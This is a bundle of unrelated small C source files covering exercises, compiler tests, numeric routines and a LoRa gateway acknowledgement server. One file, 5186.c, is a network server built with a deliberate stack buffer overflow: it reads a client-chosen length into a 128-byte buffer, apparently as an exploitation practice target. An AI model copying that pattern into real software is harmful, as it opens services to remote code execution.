break;
}
}
if (isfloat)
{
return 0; /* Not supposed to have a float here */
} else
{
long long int llval = strtoll (sval, &endp, 0);
long long int upperbits = llval >> 31;
/* will give -1 for negative, 0 or 1 for positive */
if (valp && (upperbits == 0 || upperbits == -1 || upperbits == 1))
{
*valp = (unsigned) llval;
return 1;
}
return 0;
}
}
void
show_int (unsigned uf)
{
printf ("Hex = 0x%.8x,\tSigned = %d,\tUnsigned = %u\n", uf, (int) uf, uf);
}
void
usage (char *fname)
{
printf ("Usage: %s val1 val2 ...\n", fname);
printf ("Values may be given in hex or decimal\n");
exit (0);
}
int
main (int argc, char *argv[])
{
int i;
unsigned uf;
if (argc < 2)
usage (argv[0]);
for (i = 1; i < argc; i++)
{
char *sval = argv[i];
if (get_num_val (sval, &uf))
{
show_int (uf);
} else
{
printf ("Cannot convert '%s' to 32-bit number\n", sval);
}
}
return 0;
}
|
the_stack_data/95297.c | #include <stdio.h>
#include <unistd.h>
void ft_putchar(char x)
{
write(1, &x, 1);
}
void ft_putstr(char *str)
{
int i;
i = 0;
while (str[i])
i++;
write(1, str, i);
}
void ft_print_ar(char **arr)
{
while (*arr)
{
ft_putstr(*arr++);
ft_putchar('\n');
}
}
void ft_sort_ascii(char **val, int nb)
{
int i;
int j;
char *tmp;
i = 0;
while (i < (nb - 1))
{
j = 0;
while (val[i][j] == val[i + 1][j])
j++;
if (val[i][j] > val[i + 1][j])
{
tmp = val[i];
val[i] = val[i + 1];
val[i + 1] = tmp;
i = 0;
}
i++;
}
}
int main(int argc, char **argv)
{
if (argc > 1)
{
ft_sort_ascii(argv, argc);
ft_print_ar(argv + 1);
}
return (0);
}
|
the_stack_data/115822.c | #include <assert.h>
int main(int argc,char *argv[]) {
int x = 0;
assert(x < 10 && x != 0);
return(0);
}
|
the_stack_data/74459.c | // struct definition and declaration
struct a {
int a;
int b;
} c;
// Useful anonymous struct declaration
struct {
int y;
} anon1, anon2;
// forward declarations
struct a;
struct b;
struct c;
struct b {int a; int b; };
// struct c {b g; }; // syntax error.
// struct s {float c,a,b,c;} s; // duplicate struct member
struct c {struct b g; };
// struct a { int w; }; // error
void testCopying() {
struct a {int a[10]; char c;} a, b;
a.c = 37;
b.c = 38;
b = a;
printf("testCopying: %d == %d\n", a.c, b.c);
}
void testUnion() {
union u;
union u {float f;int i;} u;
u.f = 1.0f;
printf("testUnion: %g == 0x%08x\n", u.f, u.i);
}
struct v {float x, y, z, w; };
void add(struct v* result, struct v* a, struct v* b) {
result->x = a->x + b->x;
result->y = a->y + b->y;
result->z = a->z + b->z;
result->w = a->w + b->w;
}
void set(struct v* v, float x, float y, float z, float w) {
v->x = x;
v->y = y;
v->z = z;
v->w = w;
}
void print(struct v* v) {
printf("(%g, %g, %g, %g)\n", v->x, v->y, v->z, v->w);
}
void testArgs() {
struct v a, b, c;
set(&a, 1.0f, 2.0f, 3.0f, 4.0f);
set(&b, 5.0f, 6.0f, 7.0f, 8.0f);
add(&c, &a, &b);
printf("testArgs: ");
print(&c);
}
int main() {
anon1.y = 3;
anon2.y = anon1.y;
testCopying();
testUnion();
testArgs();
struct c cc;
cc.g.a = 3;
c.a = 1;
c.b = 3;
struct a {int x, y; } z;
// struct a {int x, y; } z2;
z.x = c.a;
struct a *pA;
pA = &z;
pA->x += 5;
return pA->x;
}
|
the_stack_data/960141.c | //Implemente em linguagem C uma função em um programa de computador que leia n valores do
//tipo float e os apresente em ordem crescente. Utilize alocação dinâmica de memória para
//realizar a tarefa.
#include <stdio.h>
#include <time.h>
void ordena(int*, int);
void troca(int*, int*);
int main()
{
clock_t tempo = clock();
int n, i;
int *x;
//scanf("%d", &n);
n = 5;
x = malloc(n * sizeof(int));
for(i=0; i<n; i++){
//scanf("%d ", &x[i]);
x[i] = n - i;
}
ordena(x, n);
for(i=0; i<n; i++){
printf("%d ", x[i]);
}
free(x);
printf("\nTempo: %f", (clock() - tempo) / (double) CLOCKS_PER_SEC);
return 0;
}
void troca(int *a, int *b){
int *temp;
temp = a;
a = b;
b = temp;
}
void ordena(int *ptro, int n){
int i, j, temp;
for(i=0; i<n; i++){
for(j=0; j<n-1; j++){
if(ptro[j] > ptro[j+1]){
temp = ptro[j];
ptro[j] = ptro[j+1];
ptro[j+1] = temp;
}
}
}
}
|
the_stack_data/947607.c | #include<stdio.h>
int Number_of_pairs(int *a,int n,int x)
{
/*
Write your code here
Here *a is the pointer to the array,n is its number of elementsand x is the corrosponding sum.
*/
}
int main()
{
int n;
scanf("%d",&n);
int i,x,a[n];
for(i=0;i<n;i++)
{
scanf("%d",&a[i]);
}
scanf("%d",&x);
printf("%d", Number_of_pairs(a,n,x));
}
|
the_stack_data/43886436.c |
// 2520 is the smallest number that can be divided by each of the numbers from
// 1 to 10 without any remainder.
//
// What is the smallest positive number that is evenly divisible by all of the
// numbers from 1 to 20?
#include <stdio.h>
#include <time.h>
#define FALSE 0
#define TRUE 1
int solve() {
for(int i=2520;;i++) {
int found=FALSE;
for(int j=2;j<=20;j++) {
if(i%j != 0) {
found = FALSE;
break;
}
found = TRUE;
}
if(found) return i;
}
}
int main() {
clock_t begin = clock();
int result = solve();
clock_t end = clock();
double time = (double)(end - begin) / CLOCKS_PER_SEC;
printf("%d [in %f seconds]", result, time);
}
|
the_stack_data/284949.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_isdigit.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: knfonda <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/10/28 14:09:45 by knfonda #+# #+# */
/* Updated: 2020/10/28 14:41:34 by knfonda ### ########.fr */
/* */
/* ************************************************************************** */
int ft_isdigit(int ch)
{
if (ch - 48 >= 0 && ch - 48 <= 9)
return (1);
return (0);
}
|
the_stack_data/117328287.c | #include <stdio.h>
int main() {
int i;
char char_array[5] = {'a', 'b', 'c', 'd', 'e'};
int int_array[5] = {1, 2, 3, 4, 5};
unsigned int hacky_nonpointer;
hacky_nonpointer = (unsigned int) char_array;
for(i=0; i < 5; i++) {
printf("[hacky_nonpointer] points to %p, which contains the integer %c\n",
hacky_nonpointer, *((char *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof(char);
}
hacky_nonpointer = (unsigned int) int_array;
for(i=0; i < 5; i++) { // Iterate through the int array with the int pointer
printf("hacky_nonpointer] points to %p, which contains the integer %d\n",
hacky_nonpointer, *((int *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof(int);
}
}
|
the_stack_data/61076015.c | //Credits: serenity os
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//extern "C" {
#ifdef DEBUG
void
__assertion_failed ( const char* msg,
const char* file,
unsigned line,
const char* func )
{
printf ("USERSPACE(%d) ASSERTION FAILED: ", getpid() );
printf (" %s \n %s:%u in %s \n", msg, file, line, func );
stdlib_die ( "__assertion_failed: *hang");
// Suspended.
// fprintf (stderr, "ASSERTION FAILED: %s\n%s:%u in %s\n", msg, file, line, func);
//abort ();
//for (;;)
}
#endif
//}
|
the_stack_data/24811.c | #include <stdio.h>
int main() {
printf("hello, world.\n");
return 112;
}
|
the_stack_data/67324006.c | /* Testcase to check generation of a SH2A specific instruction
"BCLR #imm3,@(disp12,Rn)". */
/* { dg-do compile { target { sh2a } } } */
/* { dg-options "-O2 -mbitops" } */
/* { dg-final { scan-assembler "bclr"} } */
/* { dg-final { scan-assembler "bclr.b"} } */
volatile union un_paddr
{
unsigned char BYTE;
struct
{
unsigned char B15:1;
unsigned char B14:1;
unsigned char B13:1;
unsigned char B12:1;
unsigned char B11:1;
unsigned char B10:1;
unsigned char B9:1;
unsigned char B8:1;
unsigned char B7:1;
unsigned char B6:1;
unsigned char B5:1;
unsigned char B4:1;
unsigned char B3:1;
unsigned char B2:1;
unsigned char B1:1;
unsigned char B0:1;
}
BIT;
}
PADDR;
int
main ()
{
PADDR.BIT.B0 = 0;
PADDR.BIT.B3 = 0;
PADDR.BIT.B6 = 0;
PADDR.BIT.B1 &= 0;
PADDR.BIT.B4 &= 0;
PADDR.BIT.B7 &= 0;
PADDR.BIT.B10 = 0;
PADDR.BIT.B13 = 0;
PADDR.BIT.B15 = 0;
PADDR.BIT.B9 &= 0;
PADDR.BIT.B12 &= 0;
PADDR.BIT.B14 &= 0;
return 0;
}
|
the_stack_data/165769438.c | /*
dockerwait is a simple program to keep a docker container open and running, until a signal is caught
Copyright (C) 2019 Brett Kuskie <[email protected]>
MIT License
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
int g_shutdown = 0;
void sig_handler(int signum)
{
g_shutdown = 1;
}
int main(int argc, char *argv[])
{
signal(SIGPIPE, sig_handler);
signal(SIGINT, sig_handler);
signal(SIGTERM, sig_handler);
signal(SIGQUIT, sig_handler);
signal(SIGHUP, sig_handler);
while(!g_shutdown) { usleep(1000); }
return 0;
}
|
the_stack_data/43245.c | /*
* mframl.c - write a frame on the Lexidata
*
* Charles Carman 9/23/86
*/
#include <stdio.h>
mframl(cols,rows,left_col,top_row,thresh)
int cols,rows,left_col,top_row,thresh;
{
register short *pb;
short buf[520];
short err, chan, count, mode, zero;
short i, j, right_col, bottom_row, sleft_col, stop_row;
zero = 0;
mode = 0x3000;
right_col = left_col + cols - 1;
bottom_row = top_row + rows - 1;
sleft_col = left_col; stop_row = top_row;
count = cols;
dsopn_(&err, &chan);
dsdisp_(&mode, &zero, &zero);
dslim_(&sleft_col,&stop_row,&right_col,&bottom_row);
for (i=stop_row;i<=bottom_row;i++) {
pb = buf;
for (j=sleft_col;j<=right_col;j++,pb++) {
*pb = 0377 & getchar();
if (*pb <= thresh) *pb = 0;
}
dsput_(buf,&count);
dsowt_();
}
dsdisp_(&zero, &zero, &zero);
dscls_();
}
|
the_stack_data/64503.c | // Solving set of linear equation by Gauss-Jordan elimination method
#include<stdio.h>
#include<stdlib.h>
#include<math.h>
float matrix[10][11];
void display(int);
void partial_pivot(int,int);
void pivot(int);
void nopivot(int);
int main(){
int i,j,k,n,choice;
printf("Enter the number of variables\n");
scanf("%d",&n);
if(n<1){
printf("Invalid number of equation\n");
exit(1);
}
float multi,sol;
for(i=0;i<n;i++){
printf("\nEnter the coefficient of equation %d and its value: ",i+1);
for(j=0;j<=n;j++)
scanf("%f",&matrix[i][j]);
}
printf("The augmented matrix:\n\n");
display(n);
printf("\n\n");
printf("Input choice\n 1. Without partial pivoting\n 2. With partial pivoting\n 3. Exit\n\n Choice: ");
scanf("%d",&choice);
switch(choice){
case 1:
printf("\t\t\tWithout partial pivoting\n");
nopivot(n);
break;
case 2:
printf("\t\t\tWith partial pivoting\n");
pivot(n);
break;
case 3:
printf("\t\tTerminated!!");
exit(0);
default:
printf("Invalid choice number entered\n");
exit(2);
}
printf("The diagonal matrix :\n\n");
display(n);
printf("\nThe values of variables are:\n\n");
for(i=0;i<n;i++){
sol=matrix[i][n]/matrix[i][i];
printf(" x%d = %f\n",i+1,sol);
}
return 0;
}
void display(int n){
int i,j;
for(i=0;i<n;i++){
for(j=0;j<n+1;j++)
printf("%10f ",matrix[i][j]);
printf("\n");
}
}
void nopivot(int n){
int i,j,k,l,m;
float multi;
for(i=0;i<n;i++){
for(j=i+1;j<n;j++){
multi=matrix[j][i]/matrix[i][i];
for(k=i;k<=n;k++)
matrix[j][k]=matrix[j][k]-multi*matrix[i][k];
}
for(l=0;l<i;l++){
multi=matrix[l][i]/matrix[i][i];
for(m=i;m<=n;m++)
matrix[l][m]=matrix[l][m]-multi*matrix[i][m];
}
//printf("after %d step matrix is \n",i+1);
display(n);
printf("\n");
}
}
void pivot(int n){
int i,j,k,l,m;
float multi;
for(i=0;i<n;i++){
printf("After Step %d matrix is \n",i+1);
printf("Before pivoting row %d\n",i+1);
display(n);
printf("\n");
partial_pivot(i,n);
printf("After pivoting row %d\n",i+1);
display(n);
printf("\n");
for(j=i+1;j<n;j++){
multi=matrix[j][i]/matrix[i][i];
for(k=i;k<=n;k++)
matrix[j][k]=matrix[j][k]-multi*matrix[i][k];
}
for(l=0;l<i;l++){
multi=matrix[l][i]/matrix[i][i];
for(m=i;m<=n;m++)
matrix[l][m]=matrix[l][m]-multi*matrix[i][m];
}
}
}
void partial_pivot(int i,int n){ //function for pivoting
int j,k;
float temp;
for(j=i+1;j<n;j++){
if(fabs(matrix[i][i])<fabs(matrix[j][i])){
for(k=0;k<=n;k++){
temp=matrix[j][k];
matrix[j][k]=matrix[i][k];
matrix[i][k]=temp;
}
}
}
}
|
the_stack_data/105978.c | #include <assert.h>
int main()
{
int i = 2;
while (i > 1);
return i;
}
|
the_stack_data/48575823.c | /*
/ _____) _ | |
( (____ _____ ____ _| |_ _____ ____| |__
\____ \| ___ | (_ _) ___ |/ ___) _ \
_____) ) ____| | | || |_| ____( (___| | | |
(______/|_____)_|_|_| \__)_____)\____)_| |_|
(C)2013 Semtech-Cycleo
Description:
Network sink, receives UDP packets and sends an acknowledge
License: Revised BSD License, see LICENSE.TXT file include in the project
Maintainer: Sylvain Miermont
*/
/* -------------------------------------------------------------------------- */
/* --- DEPENDANCIES --------------------------------------------------------- */
/* fix an issue between POSIX and C99 */
#if __STDC_VERSION__ >= 199901L
#define _XOPEN_SOURCE 600
#else
#define _XOPEN_SOURCE 500
#endif
#include <stdint.h> /* C99 types */
#include <stdio.h> /* printf, fprintf, sprintf, fopen, fputs */
#include <unistd.h> /* usleep */
#include <string.h> /* memset */
#include <time.h> /* time, clock_gettime, strftime, gmtime, clock_nanosleep*/
#include <stdlib.h> /* atoi, exit */
#include <errno.h> /* error messages */
#include <sys/socket.h> /* socket specific definitions */
#include <netinet/in.h> /* INET constants and stuff */
#include <arpa/inet.h> /* IP address conversion stuff */
#include <netdb.h> /* gai_strerror */
/* -------------------------------------------------------------------------- */
/* --- PRIVATE MACROS ------------------------------------------------------- */
#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
#define STRINGIFY(x) #x
#define STR(x) STRINGIFY(x)
#define MSG(args...) fprintf(stderr, args) /* message that is destined to the user */
/* -------------------------------------------------------------------------- */
/* --- PRIVATE CONSTANTS ---------------------------------------------------- */
#define PROTOCOL_VERSION 1
#define PKT_PUSH_DATA 0
#define PKT_PUSH_ACK 1
#define PKT_PULL_DATA 2
#define PKT_PULL_RESP 3
#define PKT_PULL_ACK 4
/* -------------------------------------------------------------------------- */
/* --- MAIN FUNCTION -------------------------------------------------------- */
int main(int argc, char **argv)
{
int i; /* loop variable and temporary variable for return value */
/* server socket creation */
int sock; /* socket file descriptor */
struct addrinfo hints;
struct addrinfo *result; /* store result of getaddrinfo */
struct addrinfo *q; /* pointer to move into *result data */
char host_name[64];
char port_name[64];
/* variables for receiving and sending packets */
struct sockaddr_storage dist_addr;
socklen_t addr_len = sizeof dist_addr;
uint8_t databuf[4096];
int byte_nb;
/* variables for protocol management */
uint32_t raw_mac_h; /* Most Significant Nibble, network order */
uint32_t raw_mac_l; /* Least Significant Nibble, network order */
uint64_t gw_mac; /* MAC address of the client (gateway) */
uint8_t ack_command;
/* check if port number was passed as parameter */
if (argc != 2) {
MSG("Usage: util_ack <port number>\n");
exit(EXIT_FAILURE);
}
/* prepare hints to open network sockets */
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC; /* should handle IP v4 or v6 automatically */
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_PASSIVE; /* will assign local IP automatically */
/* look for address */
i = getaddrinfo(NULL, argv[1], &hints, &result);
if (i != 0) {
MSG("ERROR: getaddrinfo returned %s\n", gai_strerror(i));
exit(EXIT_FAILURE);
}
/* try to open socket and bind it */
for (q=result; q!=NULL; q=q->ai_next) {
sock = socket(q->ai_family, q->ai_socktype,q->ai_protocol);
if (sock == -1) {
continue; /* socket failed, try next field */
} else {
i = bind(sock, q->ai_addr, q->ai_addrlen);
if (i == -1) {
shutdown(sock, SHUT_RDWR);
continue; /* bind failed, try next field */
} else {
break; /* success, get out of loop */
}
}
}
if (q == NULL) {
MSG("ERROR: failed to open socket or to bind to it\n");
i = 1;
for (q=result; q!=NULL; q=q->ai_next) {
getnameinfo(q->ai_addr, q->ai_addrlen, host_name, sizeof host_name, port_name, sizeof port_name, NI_NUMERICHOST);
MSG("INFO: result %i host:%s service:%s\n", i, host_name, port_name);
++i;
}
exit(EXIT_FAILURE);
}
MSG("INFO: util_ack listening on port %s\n", argv[1]);
freeaddrinfo(result);
while (1) {
/* wait to receive a packet */
byte_nb = recvfrom(sock, databuf, sizeof databuf, 0, (struct sockaddr *)&dist_addr, &addr_len);
if (byte_nb == -1) {
MSG("ERROR: recvfrom returned %s \n", strerror(errno));
exit(EXIT_FAILURE);
}
/* display info about the sender */
i = getnameinfo((struct sockaddr *)&dist_addr, addr_len, host_name, sizeof host_name, port_name, sizeof port_name, NI_NUMERICHOST);
if (i == -1) {
MSG("ERROR: getnameinfo returned %s \n", gai_strerror(i));
exit(EXIT_FAILURE);
}
printf(" -> pkt in , host %s (port %s), %i bytes", host_name, port_name, byte_nb);
/* check and parse the payload */
if (byte_nb < 12) { /* not enough bytes for packet from gateway */
printf(" (too short for GW <-> MAC protocol)\n");
continue;
}
/* don't touch the token in position 1-2, it will be sent back "as is" for acknowledgement */
if (databuf[0] != PROTOCOL_VERSION) { /* check protocol version number */
printf(", invalid version %u\n", databuf[0]);
continue;
}
raw_mac_h = *((uint32_t *)(databuf+4));
raw_mac_l = *((uint32_t *)(databuf+8));
gw_mac = ((uint64_t)ntohl(raw_mac_h) << 32) + (uint64_t)ntohl(raw_mac_l);
/* interpret gateway command */
switch (databuf[3]) {
case PKT_PUSH_DATA:
printf(", PUSH_DATA from gateway 0x%08X%08X\n", (uint32_t)(gw_mac >> 32), (uint32_t)(gw_mac & 0xFFFFFFFF));
ack_command = PKT_PUSH_ACK;
printf("<- pkt out, PUSH_ACK for host %s (port %s)", host_name, port_name);
break;
case PKT_PULL_DATA:
printf(", PULL_DATA from gateway 0x%08X%08X\n", (uint32_t)(gw_mac >> 32), (uint32_t)(gw_mac & 0xFFFFFFFF));
ack_command = PKT_PULL_ACK;
printf("<- pkt out, PULL_ACK for host %s (port %s)", host_name, port_name);
break;
default:
printf(", unexpected command %u\n", databuf[3]);
continue;
}
/* add some artificial latency */
usleep(30000); /* 30 ms */
/* send acknowledge and check return value */
databuf[3] = ack_command;
byte_nb = sendto(sock, (void *)databuf, 4, 0, (struct sockaddr *)&dist_addr, addr_len);
if (byte_nb == -1) {
printf(", send error:%s\n", strerror(errno));
} else {
printf(", %i bytes sent\n", byte_nb);
}
}
}
|
the_stack_data/117327291.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>
#include <stdbool.h>
#include <string.h>
typedef int piped_t[2];
int main(int argc, char** argv){
int N = argc - 1;
if(N < 2 || N % 2 != 0){
printf("N dev'essere pari e maggiore o uguale a due");
exit(1);
}
piped_t* pipes = (piped_t*) malloc(sizeof(piped_t) * N);
if(!pipes){
printf("errore in malloc");
exit(2);
}
for(int i = 0; i < N; i++){
if(pipe(pipes[i]) != 0){
printf("errore nella creazione delle pipe");
exit(2);
}
}
// tutti i file hanno lunghezza minore di 255
for(int i = 0; i < N; i++){
int P;
if((P = fork()) < 0){
printf("errore in fork");
exit(2);
}
if(P == 0){
char* filename = argv[i + 1];
int write_channel, read_channel = pipes[i][0], fd = -1, read_chars = 0;
if(i % 2 == 0) {
write_channel = pipes[i + 1][1];
for(int q = 0; q < N; q++){
if(q != i + 1){
close(pipes[q][0]);
close(pipes[q][1]);
}
}
}
if(i % 2 != 0){
for(int q = 0; q < N; q++){
if(q != i)
close(pipes[q][0]);
close(pipes[q][1]);
}
// figlio dispari
char* str_file = malloc(sizeof(char) * 255);
sprintf(str_file, "%s.MAGGIORE", filename);
fd = open(str_file, O_CREAT | O_WRONLY, 0644);
}
int related_file = open(filename, O_RDONLY);
char buf;
while(read(related_file, &buf, sizeof(char)) > 0){
read_chars++;
if(i % 2 == 0)
write(write_channel, &buf, sizeof(char));
else{
char other;
read(read_channel, &other, sizeof(char));
if(buf > other) write(fd, &buf, sizeof(char));
else write(fd, &other, sizeof(char));
}
}
exit(read_chars);
}
}
for(int i = 0; i < N; i++){
close(pipes[i][1]);
close(pipes[i][0]);
}
for(int i = 0; i < N; i++){
int status, pid;
if((pid = wait(&status)) < 0){
printf("errore in wait");
exit(2);
}
status = WEXITSTATUS(status);
printf("%d ha ritornato %d\n", pid, status);
}
} |
the_stack_data/9511779.c | #include<math.h>
#include<stdlib.h>
typedef struct {
float re;
float im;
} Cplfloat;
#define Pi 3.141592653589793238
void AddNoise(int ny, int nx, Cplfloat pt_in[ny][nx], float Sigma2, Cplfloat pt_out[ny][nx])
{
int ix, iy;
double u,A,v,B;
// MOTIF
u=0;
for(iy=0;iy< ny;iy++)
{
for(ix=0;ix< nx;ix++)
{
while(u == 0 || u > 1)
u = rand()/32768.;
A= sqrt(-2.*log(u));
v = rand()/32768.;
B= 2.* Pi * v;
A=1.0;
v=1.0;
B=1.0;
pt_out[iy][ix].re = pt_in[iy][ix].re + Sigma2*A*cos(B);
pt_out[iy][ix].im = pt_in[iy][ix].im + Sigma2*A*sin(B);
u = 0;
}
}
}
|
the_stack_data/84045.c | #include <stdio.h>
int main(){
int num, digitCount;
digitCount = 0;
printf("Enter a number: ");
scanf("%d", &num);
while(num != 0){
digitCount++;
num /= 10;
}
printf("\nNumber of digits: %d\n", digitCount);
return 0;
} |
the_stack_data/512394.c | /**
* Copyright (C) NVIDIA Corporation. 2021. ALL RIGHTS RESERVED.
*
* See file LICENSE for terms.
*/
#include <uct/api/uct.h>
#include <assert.h>
int main(int argc, char **argv)
{
ucs_async_context_t *async;
uct_worker_h worker;
/* Initialize context */
ucs_status_t status = ucs_async_context_create(UCS_ASYNC_MODE_THREAD_SPINLOCK, &async);
assert(UCS_OK == status);
/* Create a worker object */
status = uct_worker_create(async, UCS_THREAD_MODE_SINGLE, &worker);
assert(UCS_OK == status);
/* Cleanup */
uct_worker_destroy(worker);
ucs_async_context_destroy(async);
return 0;
}
|
the_stack_data/1022694.c | #include <stdio.h>
int main(){
int v[8],i,proc,op=0;
for(i=0;i<8;i++){
printf("Informe o Valor na Posição %d: ",(i));
scanf("%d",&v[i]);
}
printf("Informe o Valor a Ser Pesquisado: ");
scanf("%d",&proc);
while(proc>0){
for(i=0;i<8;i++){
if(proc==v[i]){
printf("%d\n",i);
op=1;
}
}
if(op==0){
printf("Codigo Nao Existe\n");
}
op=0;
printf("Informe o Valor a Ser Pesquisado: ");
scanf("%d",&proc);
}
return 0;
}
|
the_stack_data/68887785.c | int
main()
{
int a = 0;
float f = a + 1;
return f == a;
}
|
the_stack_data/866122.c | #include <stdio.h>
#define MAX 1000
//il programma fa uso della ricerca dicotomica per indovinare il numero sempre in 10 domande.
int main(void){
int min = 0, max = MAX, n;
char risposta;
for( ; ;){
n = min + (max - min) / 2;
printf("il numero è %d? ", n);
scanf(" %c",&risposta);
switch(risposta){
case '<': max = n - 1; break;
case '>': min = n + 1; break;
case '=': return 0;
}
}
return 0;
}
|
the_stack_data/3261496.c | #include <stdio.h>
#define width 32
int main(void)
{
int a[width/2+1][width*2]={0};
int i, j;
for(i=0; i<width/2; i++) {
for(j=i*2, a[i][j]+=1; j<(i+1)*2+width; j++) {
a[i][j]++;
}
}
for(i=width; i<width*2; i++) {
a[width/2][i]++;
}
for(i=1; i<width/2+1; i++) {
for(j=0; j<width*2; j++) {
a[0][j] += a[i][j];
}
}
for(i=0; i<width*2; i++)
printf("%d ", a[0][i]);
printf("\n\n");
return 0;
}
|
the_stack_data/5186.c | #include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <crypt.h>
void write2sock(int sock, char *str) {
write(sock, str, strlen(str));
}
void readStrInput(int sock, int len) {
char buffer[128];
ssize_t ret;
bzero(buffer, sizeof(buffer));
dprintf(sock, "Input string: \n");
dprintf(sock, "> ");
fflush(stdout);
ret = read(sock, &buffer, len);
dprintf(sock, "I've read: %li bytes\n", ret);
}
void handleBofInput(int sock) {
char input[16];
int inputLen;
dprintf(sock, "How many bytes do you want to read?\n");
dprintf(sock, "> ");
read(sock, input, sizeof(input) - 1);
inputLen = atoi(input);
if (inputLen > 0) {
dprintf(sock, "Ok, i'll read %i bytes\n", inputLen);
readStrInput(sock, inputLen);
}
dprintf(sock, "Ok, done\n");
}
void doprocessing (int sock) {
char selection[4];
int selectedNr = -1;
bzero(selection, sizeof(selection));
dprintf(sock, "Press: \n");
dprintf(sock, " 0 To quit\n");
dprintf(sock, " 1 To stack overflow\n");
dprintf(sock, "> ");
fflush(stdout);
read(sock, selection, sizeof(selection) - 1);
selectedNr = atoi(selection);
switch(selectedNr) {
case 0: return;
case 1: return handleBofInput(sock);
default: return;
}
}
int main( int argc, char *argv[] ) {
int sockfd, newsockfd, portno, clilen;
char buffer[256];
struct sockaddr_in serv_addr, cli_addr;
int n, pid;
/* First call to socket() function */
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("ERROR opening socket");
exit(1);
}
int enable = 1;
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(int)) < 0)
perror("setsockopt(SO_REUSEADDR) failed");
/* Initialize socket structure */
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = 5001;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
/* Now bind the host address using bind() call.*/
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
perror("ERROR on binding");
exit(1);
}
/* Now start listening for the clients, here
* process will go in sleep mode and will wait
* for the incoming connection
*/
listen(sockfd,5);
clilen = sizeof(cli_addr);
printf("Listen on port: %i\n", portno);
while (1) {
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0) {
perror("ERROR on accept");
exit(1);
}
/* Create child process */
pid = fork();
if (pid < 0) {
perror("ERROR on fork");
exit(1);
}
if (pid == 0) {
/* This is the client process */
close(sockfd);
doprocessing(newsockfd);
exit(0);
}
else {
close(newsockfd);
}
} /* end of while */
}
|
the_stack_data/155530.c | #include <stdio.h>
int line[5005],col[5005];
int main(void){
int N,M,B,G;
scanf("%d%d%d%d",&N,&M,&B,&G);
for(int i=0;i<B;i++) {
int x,y;
scanf("%d%d",&x,&y);
for(int i=x;i<=y;i++) line[i]=1;
}
for(int i=0;i<G;i++) {
int x,y;
scanf("%d%d",&x,&y);
for(int i=x;i<=y;i++) col[i]=1;
}
int lines=0;
for(int i=1;i<=N;i++) if(line[i]) lines++;
int cols=0;
for(int i=1;i<=M;i++) if(col[i]) cols++;
printf("%d\n",lines*M+cols*N-lines*cols);
return 0;
}
|
the_stack_data/37790.c | /* Copyright 2001, 2019 IBM Corporation
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
* following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the
* following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the
* following disclaimer in the documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/* ------------------------------------------------------------- */
/* Product(s): */
/* 5733-BG1 */
/* */
/* (C)Copyright IBM Corp. 2004, 2004 */
/* All rights reserved. */
/* US Government Users Restricted Rights - */
/* Use, duplication or disclosure restricted */
/* by GSA ADP Schedule Contract with IBM Corp. */
/* */
/* Licensed Materials-Property of IBM */
/* ------------------------------------------------------------- */
//
// File: blade/lib/bl_malloc.c
//
// Purpose: malloc/calloc/realloc/free support.
//
